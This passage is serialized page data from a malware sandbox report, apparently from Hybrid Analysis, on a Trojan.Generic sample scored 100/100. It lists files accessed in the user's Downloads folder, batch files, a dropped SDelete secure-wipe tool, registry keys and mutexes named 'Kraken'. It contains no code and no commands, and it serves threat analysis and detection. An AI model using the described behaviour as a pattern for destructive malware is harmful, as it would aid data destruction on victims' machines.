3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\upb6mTYvIr.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\vHlVA6Ct.gif","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\vUaM2EZYuiO.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\vY0SOrBhJvCg.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\vyi8eCg.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\w5JaoO.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\wARff6exjpow.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\Wmih9mB0sDu.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\WUsiiJC2fRTBPivX.gif","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\XifskT.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\XjhA7gYLHhBHyEci.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\xl1sapqRRaB.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\xN1K.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\xqFng.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\xqjUvzokp0.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\XQO1VUYEm.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\XUPgjfK.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\YGnYe5jfaKyuFM8.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\ZCGDiOyLTL0HsH.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\zElI.mp3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\zlWDS7D.gif","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\zs7Ri62mzFGSx.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\ZVaaZwpMDt.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%ALLUSERSPROFILE%\\release.bat","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"C:\\Users\\KFb8qpm","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\System32\\PING.EXE","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\System32\\en-US\\ping.exe.mui","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\System32\\en-US\\reg.exe.mui","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\System32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%ALLUSERSPROFILE%\\sdelete.exe","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%APPDATA%\\Microsoft\\Crypto","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-4162757579-3804539371-4239455898-1000\\7b863aa2167fe55ad25daf503d950b1e_e47c61d2-1dae-480e-827a-ae8d797649df","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%TEMP%\\SDELTEMP","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%TEMP%\\uk1dp015.0s0.bat","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%TEMP%\\SDELMFT000000","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\KRAKENC_RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\KRAKENC_RASMANCS\\","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"key":"HKCU\\SOFTWARE\\SYSINTERNALS\\SDELETE\\","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Kraken","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"Kraken","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]}]}},"report_ids":{"sandbox_job_ids":["5b7d1a137ca3e15ac1232fc3"]}}}]]}] 1d:null 21:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 528e4d24c181… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 528e4d24c181…. Malware family: Trojan.Generic. Threat score 100/100. 20/28 AV engines flagged this file. 9 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/528e4d24c18160b6bdd73c9a612d38a78fc58bd40c8ab415973a94429b321dfc"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 528e4d24c181… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 528e4d24c181…. Malware family: Trojan.Generic. Threat score 100/100. 20/28 AV engines flagged this file. 9 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/528e4d24c18160b6bdd73c9a612d38a78fc58bd40c8ab415973a94429b321dfc"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 528e4d24c181… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 528e4d24c181…. Malware family: Trojan.Generic. Threat score 100/100. 20/28 AV engines flagged this file. 9 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L31","11",{}]]